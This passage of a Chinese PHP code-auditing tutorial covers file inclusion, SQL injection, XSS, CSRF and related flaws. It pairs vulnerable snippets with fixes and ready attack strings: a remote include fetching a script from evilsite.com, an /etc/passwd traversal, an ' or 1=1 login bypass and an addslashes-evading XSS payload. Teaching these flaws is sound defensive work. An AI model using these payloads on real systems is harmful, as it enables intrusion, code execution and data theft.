\/>\n\u524d\u63d0\uff1a\u5141\u8bb8url_include\uff0c\u5426\u5219\u5c31\u9700\u8981\u4e0a\u4f20\u5230\u7edd\u5bf9\u8def\u5f84<\/p>\n<p>\u63d0\u793a\uff1a\u53ef\u4ee5\u4f7f\u7528\u7a7a\u5b57\u8282\uff08\u622a\u65ad\uff09\u7684\u6280\u5de7\uff0c\u548c\u201c?\u201d\u95ee\u53f7\u7684\u4f7f\u7528\u6280\u5de7<\/p>\n<p>php\u4e2d\u6709\u56db\u4e2a\u51fd\u6570\u4e0e\u6587\u4ef6\u5305\u542b\u6709\u5173\uff1a<\/p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li>require<\/li>\n<li>require_once \u53ea\u5305\u542b\u4e00\u6b21<\/li>\n<li>include<\/li>\n<li>include_once \u53ea\u5305\u542b\u4e00\u6b21<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u5982\u4ee5\u4e0b\u4f8b\u5b50\uff1a<br \/>\n&lt;?php<br \/>\n$pagina=$_GET[&#8216;pagina&#8217;];<br \/>\ninclude $pagina.&#8217;logged=1&#8242;;<br \/>\n?&gt;<\/p>\n<p>\u4f7f\u7528\u7a7a\u5b57\u8282\u7684\u4f8b\u5b50<br \/>\nhttp:\/\/127.0.0.1\/test.php?pagina=http:\/\/evilsite.com\/evilscript.txt%00<br \/>\n\u8fd9\u6837\u53ef\u4ee5\u53bb\u6389\u672b\u5c3e\u7684.php\u540e\u7f00<\/p>\n<p>\u518d\u5982\u4ee5\u4e0b\u4f8b\u5b50<br \/>\n&lt;?php<br \/>\n$pagina=$_GET[&#8216;pagina&#8217;];<br \/>\ninclude $pagina.&#8217;logged=1&#8242;;<br \/>\n?&gt;<br \/>\n\u4f7f\u7528\u201c?\u201d\u95ee\u53f7\u7684\u4f8b\u5b50<\/p>\n<p>http:\/\/127.0.0.1\/test.php?pagina=http:\/\/evilsite.com\/evilscript.txt?logged=1<br \/>\n\u8fd9\u6837\u53ef\u4ee5\u628a\u540e\u9762\u7684\u4e00\u5927\u5768\u4e1c\u897f\u5f04\u6ca1<\/p>\n<p>\u5982\u4f55\u4fee\u590d\uff1a<\/p>\n<p>allow_url_include = on<br \/>\nallow_url_fopen = on<br \/>\n\u7b80\u5355\u6765\u8bf4\uff1a\u4e0d\u8981\u5141\u8bb8\u7279\u6b8a\u5b57\u7b26\u51fa\u73b0\uff0c\u8fc7\u6ee4\u201c\/\u201d\uff0c\u6216\u8005\u8fc7\u6ee4http\uff0chttps\uff0cftp\u548cSMB<\/p>\n<p>\u597d\u5427\uff0c\u6765\u4e3e\u4e00\u4e2a\u4e4c\u4e91\u4e0aFrears\u7684\u4f8b\u5b50<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2011-02654\" target=\"_blank\" rel=\"noopener\">WooYun: ecmall\u672c\u5730\u6587\u4ef6\u5305\u542b<\/a><\/p>\n<p>\/\/\u53ea\u5224\u65ad\u662fapp\u662f\u5426\u8bbe\u7f6e\uff0c\u7136\u540e\u53bb\u6389\u4e86\u4e24\u7aef\u7a7a\u683c<br \/>\n$app = isset($_REQUEST[&#8216;app&#8217;]) ? trim($_REQUEST[&#8216;app&#8217;]) : $default_app;<br \/>\n$act = isset($_REQUEST[&#8216;act&#8217;]) ? trim($_REQUEST[&#8216;act&#8217;]) : $default_act;<\/p>\n<p>\/\/\u5f88\u660e\u663e\u53ef\u4ee5\u770b\u51fa$app\u662f\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u7684\u3001\u7531\u4e8e\u540e\u9762\u8fde\u63a5\u4e86.app.php\u6240\u4ee5\u5229\u7528\u7684\u65f6\u5019\u8981\u622a\u65ad\u3002<br \/>\n$app_file = $config[&#8216;app_root&#8217;] . &#8220;\/{$app}.app.php&#8221;;<\/p>\n<p>\/\/\u5e94\u4e3a\u662f\u672c\u5730\u5305\u51fd\u3001\u6240\u4ee5is_file\u662f\u4e3a\u771f\u7684<br \/>\nif (!is_file($app_file))<br \/>\n{<br \/>\nexit(&#8216;Missing controller&#8217;);<br \/>\n}<\/p>\n<p>\/\/\u8fd9\u91cc\u76f4\u63a5\u5c31\u5305\u51fd\u4e86\uff0c\u8fd9\u4e48\u4f4e\u7ea7\u7684\u6f0f\u6d1e\u3001\u6211\u90fd\u4e0d\u597d\u8bf4\u4ec0\u4e48\u4e86.<br \/>\nrequire($app_file);<br \/>\n\u8fd8\u6709\u4e00\u4e9b\u7279\u6b8a\u7684\u601d\u8def\uff0c\u6bd4\u5982Joker\u7684\u6784\u9020<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2011-02236\" target=\"_blank\" rel=\"noopener\">WooYun: \u6d4e\u5357\u5927\u5b66\u4e3b\u7ad9\u672c\u5730\u6587\u4ef6\u5305\u542b\u5bfc\u81f4\u4ee3\u7801\u6267\u884c<\/a><\/p>\n<p>\u81ea\u5df1\u53bb\u770b\u5427\uff0c\u6211\u8fd8\u4ee5\u4e3a\u53ea\u6709\u6559\u79d1\u4e66\u91cc\u8fb9\u624d\u53ef\u80fd\u51fa\u73b0\u2026\u2026<\/p>\n<p>\u6316\u6398\u7684\u53ef\u80fd\u65b9\u6cd5\uff1a\u5168\u5c40\u641c\u7d22\u56db\u4e2a\u51fd\u6570\uff0c\u5148\u53ea\u7ba1\u51fa\u73b0\u5728\u6587\u4ef6\u4e2d\u95f4\u7684require\u7b49\u524d\u540e\u6587\u662f\u5426\u6709\u4e25\u683c\u7684\u9a8c\u8bc1\uff0c\u4e4b\u540e\u5728\u901a\u8bfb\u65f6\u6ce8\u610f\u6587\u4ef6\u524d\u90e8\u7684include<\/p>\n<p>0x02 \u672c\u5730\u6587\u4ef6\u5305\u542b<br \/>\n\u63d0\u793a\uff1a\u5728windows\u7cfb\u7edf\u4e0b\u9762\u6211\u4eec\u53ef\u4ee5\u7528 &#8220;..&#8221; \u6765\u4ee3\u66ff &#8220;..\/&#8221; \u5373 &#8220;..%5C&#8221; ( url\u7f16\u7801\u540e ).<\/p>\n<p>\u5982\u4e0b\u4f8b\uff1a<br \/>\n&lt;?php<br \/>\n$pagina=$_GET[&#8216;pagina&#8217;];<br \/>\ninclude &#8216;\/pages\/&#8217;.$pagina;<br \/>\n?&gt;<br \/>\n\u5229\u7528\u7684\u4f8b\u5b50\uff1a<\/p>\n<p>http:\/\/127.0.0.1\/test.php?pagina=..\/..\/..\/..\/..\/..\/etc\/passwd<br \/>\n\u7a7a\u5b57\u8282\u622a\u65ad\u548c\u95ee\u53f7\u7684\u6280\u5de7\u901a\u7528<\/p>\n<p>\u5176\u5b9e\u548c\u4e0a\u9762\u7684\u5dee\u4e0d\u591a\uff0c\u53ea\u4e0d\u8fc7\u662f\u7528\u5230\u4e86\u8de8\u76ee\u5f55<\/p>\n<p>\u4fee\u590d\u65b9\u5f0f\uff1a\u8fc7\u6ee4\u70b9\u548c\u659c\u6760<\/p>\n<p>0x03 \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d<br \/>\n\u524d\u63d0\uff1aurl_fopen\u4e3aon\u65f6\u624d\u80fd\u6253\u5f00\u8fdc\u7a0b\u6587\u4ef6\uff0c\u4f46\u4e00\u822c\u610f\u4e49\u4e0a\u7684\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u4e0d\u662f\u201c\u8fdc\u7a0b\u201c\u7684<\/p>\n<p>\u76f8\u6bd4\u4e0a\u4e00\u7bc7\u6587\u7ae0\u8865\u5145\uff1a<\/p>\n<p>file_get_contents \u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6\u5230\u5b57\u7b26\u4e32\u4e2d<br \/>\nreadfile \u663e\u793a\u6574\u4e2a\u6587\u4ef6<br \/>\nfile \u8bfb\u8fdb\u6570\u7ec4<br \/>\nfopen \u6253\u5f00\u6587\u4ef6\u6216URL<br \/>\nhighlight_file \u9ad8\u4eae\u663e\u793a\u6e90\u7801<br \/>\nshow_source \u663e\u793a\u6e90\u4ee3\u7801<br \/>\n\u4f8b\u5b50\u540c\u4e0a\u4e00\u7bc7\u6587\u7ae0<\/p>\n<p>0x04 SQL\u6ce8\u5165<br \/>\n\u524d\u63d0\uff1amagic_quotes_gpc = off \u5f53\u7136\u6307\u7684\u662f\u5b57\u7b26\u578b\u7684\u6ce8\u5c04\uff0c\u5982\u679c\u662f\u6570\u5b57\u578b\u5c31\u4ecd\u7136\u53ef\u4ee5\u76f2\u6ce8<\/p>\n<p>\u8865\u5145\u767b\u9646\u7ed5\u8fc7\u7684\u60c5\u51b5\uff1a<br \/>\n$postbruger = $_POST[&#8216;username&#8217;];<br \/>\n$postpass = md5($_POST[&#8216;password&#8217;]);<br \/>\n$resultat = mysql_query(&#8220;SELECT * FROM &#8221; . $tablestart . &#8220;login WHERE brugernavn = &#8216;$postbruger&#8217; AND password = &#8216;$postpass'&#8221;)<br \/>\nor die(&#8220;&lt;p&gt;&#8221; . mysql_error() . &#8220;&lt;\/p&gt;n&#8221;);<br \/>\n\u8fd9\u65f6\u5229\u7528\u65f6\u4f1a\u65b9\u4fbf\u5f88\u591a<\/p>\n<p>username : admin &#8216; or &#8216; 1=1<br \/>\npassword : sirgod<br \/>\n\u6316\u6398\u65b9\u6cd5\uff1a\u5728\u767b\u9646\u903b\u8f91\u5904\u53d1\u73b0\u6ce8\u5c04\uff0c\u4e0d\u6025\u7740\u8dd1\u8868\uff0c\u53ef\u4ee5\u8003\u8651\u7ed5\u8fc7\u767b\u9646<\/p>\n<p>0x05 \u547d\u4ee4\u6267\u884c<br \/>\n\u53c2\u8003\u300a\u9ad8\u7ea7PHP\u5e94\u7528\u7a0b\u5e8f\u6f0f\u6d1e\u5ba1\u6838\u6280\u672f\u300b\uff08Ph4nt0m Security Team\uff09\uff0c\u5c0f\u4f19\u4f34\u4eec\u90fd\u53bb\u767e\u5ea6\u4e00\u4e0b\u5427<\/p>\n<p>\uff08\u4ee5\u4e0b\u8282\u9009\u4e00\u5c0f\u90e8\u5206\u6709\u5173\u547d\u4ee4\u6267\u884c\u7684\u5185\u5bb9\uff09<\/p>\n<p>5.4 \u4ee3\u7801\u6ce8\u5c04<br \/>\n5.4.1 PHP\u4e2d\u53ef\u80fd\u5bfc\u81f4\u4ee3\u7801\u6ce8\u5c04\u7684\u51fd\u6570<br \/>\n\u5f88\u591a\u4eba\u90fd\u77e5\u9053eval\u3001preg_replace+\/e\u53ef\u4ee5\u6267\u884c\u4ee3\u7801\uff0c\u4f46\u662f\u4e0d\u77e5\u9053php\u8fd8\u6709\u5f88\u591a\u7684\u51fd\u6570\u53ef \u4ee5\u6267\u884c\u4ee3\u7801\u5982\uff1a<\/p>\n<p>assert()<br \/>\ncall_user_func()<br \/>\ncall_user_func_array()<br \/>\ncreate_function()<br \/>\n\u53d8\u91cf\u51fd\u6570<\/p>\n<p>\u8fd9\u91cc\u6211\u4eec\u770b\u770b\u6700\u8fd1\u51fa\u73b0\u7684\u51e0\u4e2a\u5173\u4e8ecreate_function()\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u7684\u4ee3\u7801\uff1a<br \/>\n&lt;?php<br \/>\n\/\/how to exp this code<br \/>\n$sort_by=$_GET[&#8220;sort_by&#8221;];<br \/>\n$sorter=&#8221;strnatcasecmp&#8221;;<br \/>\n$databases=array(&#8220;test&#8221;,&#8221;test&#8221;);<br \/>\n$sort_function = &#8221; return 1 * &#8221; . $sorter . &#8220;($a[&#8220;&#8221; . $sort_by . &#8220;&#8221;], $b[&#8220;&#8221; . $sort_by . &#8220;&#8221;]);<br \/>\n&#8220;;<br \/>\nusort($databases, create_function(&#8220;$a, $b&#8221;, $sort_function));<br \/>\n\u6f0f\u6d1e\u5ba1\u8ba1\u7b56\u7565<\/p>\n<p>PHP\u7248\u672c\u8981\u6c42\uff1a\u65e0 \u7cfb\u7edf\u8981\u6c42\uff1a\u65e0 \u5ba1\u8ba1\u7b56\u7565\uff1a\u67e5\u627e\u5bf9\u5e94\u51fd\u6570\uff08assert,call_user_func,call_user_func_array,create_function\u7b49\uff09<\/p>\n<p>5.4.2 \u53d8\u91cf\u51fd\u6570\u4e0e\u53cc\u5f15\u53f7<br \/>\n\u5bf9\u4e8e\u5355\u5f15\u53f7\u548c\u53cc\u5f15\u53f7\u7684\u533a\u522b\uff0c\u5f88\u591a\u7a0b\u5e8f\u5458\u6df1\u6709\u4f53\u4f1a\uff0c\u793a\u4f8b\u4ee3\u7801\uff1a<br \/>\necho &#8220;$an&#8221;;<br \/>\necho &#8220;$an&#8221;;<br \/>\n\u6211\u4eec\u518d\u770b\u5982\u4e0b\u4ee3\u7801\uff1a<br \/>\n\/\/how to exp this code<br \/>\nif($globals[&#8220;bbc_email&#8221;]){<br \/>\n$text = preg_replace(<br \/>\narray(&#8220;\/[email=(.*?)](.*?)[\/email]\/ies&#8221;,<br \/>\n&#8220;\/[email](.*?)[\/email]\/ies&#8221;),<br \/>\narray(&#8220;check_email(&#8220;$1&#8221;, &#8220;$2&#8243;)&#8221;,<br \/>\n&#8220;check_email(&#8220;$1&#8221;, &#8220;$1&#8243;)&#8221;), $text);<br \/>\n\u53e6\u5916\u5f88\u591a\u7684\u5e94\u7528\u7a0b\u5e8f\u90fd\u628a\u53d8\u91cf\u7528&#8221;&#8221;\u5b58\u653e\u5728\u7f13\u5b58\u6587\u4ef6\u6216\u8005config\u6216\u8005data\u6587\u4ef6\u91cc\uff0c\u8fd9\u6837\u5f88 \u5bb9\u6613\u88ab\u4eba\u6ce8\u5c04\u53d8\u91cf\u51fd\u6570\u3002<\/p>\n<p>\u6f0f\u6d1e\u5ba1\u8ba1\u7b56\u7565<\/p>\n<p>PHP\u7248\u672c\u8981\u6c42\uff1a\u65e0 \u7cfb\u7edf\u8981\u6c42\uff1a\u65e0 \u5ba1\u8ba1\u7b56\u7565\uff1a\u901a\u8bfb\u4ee3\u7801<\/p>\n<p>0x06 \u8de8\u7ad9\u811a\u672c\u6f0f\u6d1eXSS<\/p>\n<pre class=\"lang:default decode:true\">&lt;?php\r\n$name=$_GET['name'];\r\nprint $name;\r\n?&gt;<\/pre>\n<p>http:\/\/127.0.0.1\/test.php?name=&lt;script&gt;alert(&#8220;XSS&#8221;)&lt;\/script&gt;<\/p>\n<pre class=\"lang:default decode:true\">&lt;?php\r\n$name=addslashes($_GET['name']);\r\nprint '&lt;table name=\"'.$name.'\"&gt;&lt;\/table&gt;';\r\n?&gt;<\/pre>\n<p>http:\/\/127.0.0.1\/test.php?name=&#8221;&gt;&lt;script&gt;alert(String.fromCharCode(88,83,83))&lt;\/script&gt;<br \/>\n<strong><span style=\"color: #ff0000;\">fromCharCode\u7528\u6765\u7ed5\u8fc7addslashes<\/span><\/strong><\/p>\n<p>\u6316\u6398\u65b9\u6cd5\uff1a\u5173\u6ce8\u8d1f\u8d23\u8f93\u51fa\u7684\u4ee3\u7801\uff0c\u7262\u8bb0\u4e4b\u524d\u7a0b\u5e8f\u5904\u7406\u53d8\u91cf\u7684\u4e00\u822c\u903b\u8f91\uff08\u8fc7\u6ee4html\u6807\u7b7e\u7684\u529b\u5ea6\uff1f\uff09<\/p>\n<p>0x07 \u53d8\u91cf\u8986\u76d6<br \/>\n\u524d\u63d0\uff1a\u9700\u8981register_gloabals = on<\/p>\n<pre class=\"lang:default decode:true\">&lt;?php\r\nif ($logged==true) {\r\necho 'Logged in.'; }\r\nelse {\r\nprint 'Not logged in.';\r\n}\r\n?&gt;<\/pre>\n<p>http:\/\/127.0.0.1\/test.php?logged=1<br \/>\n\u514d\u8ba4\u8bc1\u5373\u767b\u9646<\/p>\n<p>0x08 admin\u8282\u70b9\u53ef\u88ab\u8d8a\u6743\u8bbf\u95ee<br \/>\nhttp:\/\/127.0.0.1\/admin\/files.php<\/p>\n<p>http:\/\/127.0.0.1\/admin\/db_lookup.php<\/p>\n<p>\u82e5\u662f\u65e0\u8eab\u4efd\u9a8c\u8bc1\u76f4\u63a5\u5c31\u80fd\u8bbf\u95ee\uff0c\u53ef\u80fd\u5b58\u5728\u6b64\u6f0f\u6d1e<\/p>\n<p>\u6316\u6398\u65b9\u6cd5\uff1a\u5148\u5f00register_gloabals = on \uff0c\u7136\u540e\u7559\u610f\u7b2c\u4e00\u6b21\u51fa\u73b0\u7684\u53d8\u91cf<\/p>\n<p>0x09 \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020CSRF<br \/>\n\u524d\u63d0\uff1a\u6ca1\u6709token \u4e00\u822c\u7ed3\u5408XSS\u6765\u505a<\/p>\n<pre class=\"lang:default decode:true\">&lt;?php\r\ncheck_auth();\r\nif(isset($_GET['news']))\r\n{ unlink('files\/news'.$news.'.txt'); }\r\nelse {\r\ndie('File not deleted'); }\r\n?&gt;<\/pre>\n<p>http:\/\/127.0.0.1\/test.php?news=1<br \/>\n\u4f1a\u5bfc\u81f4\u6587\u4ef6\u5220\u9664\uff0c\u5f53\u7136\uff0c\u9700\u8981\u8fc7check_auth\uff0c\u4e0d\u8fc7\u5728CSRF\u4e0b\u4e0d\u662f\u95ee\u9898<\/p>\n<pre class=\"lang:default decode:true\">if ($_GET['func'] == 'delete') {\r\n$del_id = $_GET['id'];\r\n$query2121 = \"select ROLE from {$db_prefix}members WHERE ID='$del_id'\";\r\n$result2121 = mysql_query($query2121) or die(\"delete.php - Error in query: $query2121\");\r\nwhile ($results2121 = mysql_fetch_array($result2121)) {\r\n$their_role = $results2121['ROLE'];\r\n}\r\nif ($their_role != '1') {\r\nmysql_query(\"DELETE FROM {$db_prefix}members WHERE id='$del_id'\")\r\nor die(mysql_error());<\/pre>\n<p>\u5173\u952e\u662f\u5728\u4e8e\u64cd\u4f5c\u6ca1\u6709\u4efb\u4f55\u7c7b\u578b\u7684\u786e\u8ba4\uff0c\u53ea\u8981\u63d0\u4ea4\u8bf7\u6c42\u5373\u53ef\u89c1\u6548<\/p>\n<p>http:\/\/127.0.0.1\/index.php?page=admin&#038;act=members&#038;func=delete&#038;id=4<\/p>\n<p>\u5982\u4f55\u4fee\u8865\uff1atoken<br \/>\n&lt;?php<br \/>\ncheck_auth();<br \/>\nif(isset($_GET[&#8216;news&#8217;]) &amp;&amp; $token=$_SESSION[&#8216;token&#8217;])<br \/>\n{ unlink(&#8216;files\/news&#8217;.$news.&#8217;.txt&#8217;); }<br \/>\nelse {<br \/>\ndie(&#8216;Error.&#8217;); }<br \/>\n?&gt;<br \/>\n\u8fd9\u6837\u5c31\u4e0d\u80fd\u4f2a\u9020\u5566<\/p>\n<p>http:\/\/127.0.0.1\/index.php?delete=1&#038;token=[RANDOM_TOKEN]<br \/>\n\u6316\u6398\u65b9\u6cd5\uff1a\u654f\u611f\u529f\u80fd\u5982 \u201c\u6dfb\u52a0\u7ba1\u7406\u5458\u201d \u201c\u4fee\u6539\u5bc6\u7801\u201d \u201c\u76f4\u63a5\u628ashell\u5730\u5740\u7ed9\u5230\u522b\u4eba\u90ae\u7bb1\u91cc\u201d\u89c2\u5bdf\u662f\u5426\u6709token\u9a8c\u8bc1\u6216\u8005\u5176\u4ed6\u5f62\u5f0f\u7684\u9a8c\u8bc1<\/p>\n<p>0x10 \u53c2\u8003\u6587\u732e<br \/>\n\u90e8\u5206\u5185\u5bb9\u53c2\u8003\u81ea\u3010\u82f1\u6587\u3011 <a href=\"http:\/\/www.exploit-db.com\/papers\/12871\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.exploit-db.com\/papers\/12871\/<\/a> Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod Email : sirgod08@gmail.com<\/p>\n<p>lxj616@wooyun \u5f15\u7528\u5904\u8fdb\u884c\u4e86\u7ffb\u8bd1<\/p>\n<p>\u4ee5\u4e0b\u662f\u6700\u65b0\u81ea\u5df1\u53d1\u73b0\u7684\u4f8b\u5b50<\/p>\n<p>0x11 CSCMS V3.5 \u6700\u65b0\u7248 SQL\u6ce8\u5c04\uff08\u5b98\u65b9\u7ad9\u6f14\u793a+\u6e90\u7801\u8be6\u6790\uff09<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-047363\" target=\"_blank\" rel=\"noopener\">WooYun: CSCMS V3.5 \u6700\u65b0\u7248 SQL\u6ce8\u5c04\uff08\u5b98\u65b9\u7ad9\u6f14\u793a+\u6e90\u7801\u8be6\u6790\uff09<\/a><\/p>\n<p>PS\uff1aCSCMS\u771f\u662f\u597d\u6559\u6750\u2026\u2026<\/p>\n<p>\u611f\u8c22 @\u4e94\u9053\u53e3\u6740\u6c14 \u5728\u4e0a\u4e00\u7bc7\u7684\u56de\u590d\uff1a<\/p>\n<p>MVC\u7684\u4ee3\u7801\u770b\u4e00\u4e0b\u6846\u67b6\u672c\u8eab\u5b9e\u73b0\u6709\u6ca1\u6709\u95ee\u9898\uff0c\u7136\u540e\u53bb\u770bmodel\u5c31\u884c\u4e86\uff0cmodel\u6709\u591a\u5f3a\uff0c\u51b3\u5b9a\u4e86\u6709\u591a\u5927\u7684\u7a7a\u95f4\uff0c\u800c\u53d8\u91cf\u7684\u8fc7\u6ee4\u5728controller\u91cc\u8c03\u7528\u65f6\u5e94\u8be5\u51e0\u4e4e\u662f\u5dee\u4e0d\u591a\u7684\uff0c\u6240\u4ee5\u8fd9\u7c7b\u4ee3\u7801\u4eceindex.php\u5f00\u59cb\u8bfb\u53ef\u80fd\u4e5f\u4e0d\u662f\u592a\u6709\u5fc5\u8981<br \/>\n\u7ecf\u8fc7\u4ed4\u7ec6\u7684\u7422\u78e8\uff0c\u6211\u6709\u4e86\u66f4\u6df1\u7684\u4f53\u4f1a\uff0c\u6bd4\u5982\u672c\u6b21\u6f0f\u6d1e\u4e2d\uff0cCSCMS\u91cd\u6784\u4e86\u4ee3\u7801\uff0c\u4f7f\u7528\u4e86MVC\u67b6\u6784\uff0c\u679c\u7136\u662fmodel\u7684xss_clean\u88ab\u8bef\u7528\uff08\u6216\u8005\u8bf4model\u6839\u672c\u6ca1\u6709\u9632\u8303\u6ce8\u5c04\u7684\u529f\u80fd\uff09\uff0c\u5bfc\u81f4controller\u91cc\u9762\u5c04\u6210\u4e00\u7247\uff0c\u56e0\u6b64\u53ef\u4ee5\u8bf4\u6211\u4e4b\u524d\u7684\u201c\u4eceindex.php\u5f00\u59cb\u201c\u5f88\u4e0d\u6070\u5f53\uff0c\u5e94\u5f53\u89c6\u60c5\u51b5\u800c\u5b9a<\/p>\n<p>\u611f\u8c22 @erevus \u5728\u4e0a\u4e00\u7bc7\u7684\u56de\u590d\uff1a<\/p>\n<p>\u6211\u8bf4\u8bf4\u7684\u6211\u7ecf\u9a8c \u6316SQL\u6ce8\u5165\uff0c\u5168\u5c40\u641c\u7d22select,insert,updata\u8fd9\u51e0\u4e2a\u5173\u952e\u5b57 \u7136\u540e\u627e\u5230SQL\u8bed\u53e5 \u5411\u4e0a\u8ddf \u8ddf\u5230\u4f20\u5165\u53d8\u91cf\u7684\u5730\u65b9 \u770b\u770b\u4e2d\u9014\u6709\u6ca1\u6709\u8fc7\u6ee4 \u6316\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff0c\u5168\u5c40\u641c\u7d22\u5404\u79cd\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\uff0c\u7136\u540e\u4e5f\u662f\u4e00\u4e2a\u4e2a\u770b \u5411\u4e0a\u8ddf.\uff08\u4e00\u76f4\u6ca1\u6316\u5230&#8230;\uff09 \u6316XSS&#8230;\u76f4\u63a5\u9ed1\u76d2\u6316\uff0c\u770b\u770b\u6709\u6ca1\u6709\u8fc7\u6ee4 \u8fc7\u6ee4\u4e86\u7684\u8bdd\u5c31\u53bb\u770b\u8fc7\u6ee4\u7684\u4ee3\u7801\u662f\u600e\u6837 \u7136\u540e\u770b\u770b\u80fd\u4e0d\u80fd\u7ed5&#8230;\u611f\u89c9\u5982\u679c\u662f\u6846\u67b6\u7684\u8bdd\uff0c\u53ea\u641c\u7d22SELECT\u5173\u952e\u5b57\u53ef\u80fd\u4f1a\u6709\u9057\u6f0f\uff0c\u56e0\u4e3a\u6709\u5f88\u591a\u90fd\u662f\u6bd4\u5982\uff1a<\/p>\n<p>$member-&gt;where ( &#8220;username ='&#8221; . $username . &#8220;&#8216;&#8221; )-&gt;save ( $arr_i ); \/\/ \u66f4\u65b0\u72b6\u6001<br \/>\n\u8fd9\u6837\u7684\u6846\u67b6\u5f88\u5bb9\u6613\u9057\u6f0f\u91cd\u8981\u62fc\u63a5<\/p>\n<p>PS:\u5f3a\u70c8\u540c\u610ferevus\u7684XSS\u7684\u6316\u6398\u65b9\u6cd5\uff0c\u56e0\u4e3a\u80fd\u529b\u548c\u7cbe\u529b\u90fd\u5f88\u6709\u9650\u2026\u2026<\/p>\n<p>0x12 MacCMS \u5168\u7248\u672c\u901a\u6740SQL\u6ce8\u5c04\uff08\u5305\u62ec\u6700\u65b07.x\uff09<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2014-048553\" target=\"_blank\" rel=\"noopener\">WooYun: MacCMS \u5168\u7248\u672c\u901a\u6740SQL\u6ce8\u5c04\uff08\u5305\u62ec\u6700\u65b07.x\uff09<\/a><\/p>\n<p>\u4e5f\u662f\u91cd\u6784\u4e86\u4ee3\u7801\uff0c\u52a0\u5165\u4e86360\u7684\u9632\u62a4\u811a\u672c\uff0c\u5176\u5b9e\u5728\u6211\u53d1\u4e0a\u4e00\u4e2a\u6f0f\u6d1e\uff086.x\uff09\u65f6\u8fd9\u4e2a7.x\u521a\u597d\u53d1\u5e03\uff0c\u6211\u7a0d\u5fae\u770b\u4e86\u4e00\u773c\uff0c\u53d1\u73b0\u6709360\u9632\u62a4\u811a\u672c\u540e\u5c31\u4e0d\u770b\u4e86\uff0c\u4ee5\u4e3a\u4ed6\u4eec\u80af\u5b9a\u5168\u90fd\u8fc7\u6ee4\u6389\u4e86\uff0c\u76f4\u5230\u2026\u2026 \u6bd4\u8f83\u6709\u8da3\u7684\u662f\u4ed6\u4eec\u6839\u672c\u6ca1\u6709\u5728referer\u4e0a\u4f7f\u7528360\u7684\u83b7\u53d6\u65b9\u5f0f\uff0c\u800c\u662f\u76f4\u63a5return $_SERVER[&#8220;HTTP_REFERER&#8221;]; \u4e86 \u56e0\u6b64\u63d0\u9192\u5927\u5bb6\uff0c\u4ee3\u7801\u5ba1\u8ba1\u5c31\u662f\u8981\u4ed4\u7ec6\uff0c\u5c31\u662f\u8981\u6709\u8d85\u4eba\u822c\u7684\u8010\u5fc3\uff0c\u4e0d\u8981\u60f3\u5f53\u7136\u3002<\/p>\n<p>0x13 WanCMS \u53ef\u4fee\u6539\u4efb\u610f\u7528\u6237\u5bc6\u7801\uff08\u6e90\u7801\u8be6\u6790+\u5b9e\u4f8b\u6f14\u793a\uff09<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2014-049284\" target=\"_blank\" rel=\"noopener\">WooYun: WanCMS \u53ef\u4fee\u6539\u4efb\u610f\u7528\u6237\u5bc6\u7801\uff08\u6e90\u7801\u8be6\u6790+\u5b9e\u4f8b\u6f14\u793a\uff09<\/a><\/p>\n<p>\u6211\u7ec8\u4e8e\u53c8\u53d1\u73b0\u4e86\u4e00\u4e2a\u654f\u611f\u4e1a\u52a1\u903b\u8f91\u4e0a\u7684\u6f0f\u6d1e<\/p>\n<p>\u5520\u53e8\u4e24\u53e5\u5bc6\u7801\u5b66\u2026\u2026<\/p>\n<p>MD5\u3001SHA \u662f\u54c8\u5e0c\u51fd\u6570\uff0c\u77e5\u9053$a\u540e\u5bb9\u6613\u77e5\u9053md5($a)\uff0c\u800c\u77e5\u9053md5($a)\u96be\u4ee5\u6062\u590d$a Des \u662f\u5bf9\u79f0\u5bc6\u7801\uff0c\u52a0\u89e3\u5bc6\u4f7f\u7528\u540c\u4e00\u4e2a\u5bc6\u94a5<br \/>\n$reurl = $config [&#8216;DOMAIN&#8217;] . &#8216;\/accounts\/forget_password_t?vc=&#8217; . md5 ( md5 ( $username ) );<br \/>\n\u8fd9\u91cc\u7684\u5bc6\u7801\u91cd\u7f6e\u94fe\u63a5 \u4f7f\u7528\u7684\u662fMD5\uff08\u4e24\u904d\uff09\uff0c\u4f46\u662f\u7528\u6237\u540d\u6211\u4eec\u662f\u77e5\u9053\u7684\uff0c\u56e0\u6b64\u76f4\u63a5\u5c31\u80fd\u4f2a\u9020\uff0c\u8fd9\u4e5f\u8bf4\u660e\u4e86md5\u5e76\u4e0d\u662f\u7528\u6765\u52a0\u5bc6\u7684\uff0c\u5e94\u8be5\u7528DES\u6216\u8005\u2026\u2026\u66f4\u5e38\u89c1\u7684\u65b9\u6cd5\u662fMD5\u4e2d\u7684\u7528\u6237\u540d\u518d\u52a0\u5165\u5bc6\u7801\u548c\u968f\u673a\u6570\uff0c\u6216\u8005\u5e72\u8106\u968f\u673a\u4e00\u4e32\u5b57\u7b26\u597d\u4e86\u3002<\/p>\n<p>0x14 WanCMS \u591a\u5904SQL\u6ce8\u5c04\uff08\u6e90\u7801\u8be6\u6790+\u5b9e\u7ad9\u6f14\u793a\uff09<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2014-049372\" target=\"_blank\" rel=\"noopener\">WooYun: WanCMS \u591a\u5904SQL\u6ce8\u5c04\uff08\u6e90\u7801\u8be6\u6790+\u5b9e\u7ad9\u6f14\u793a\uff09<\/a><\/p>\n<p>\u53c8\u662f\u4e00\u4e2a\u6846\u67b6\u4e2d\u6ce8\u5c04\u7684\u4f8b\u5b50<br \/>\n$u_info = $member-&gt;where ( &#8220;username ='&#8221; . $username . &#8220;&#8216;&#8221; )-&gt;find ();<br 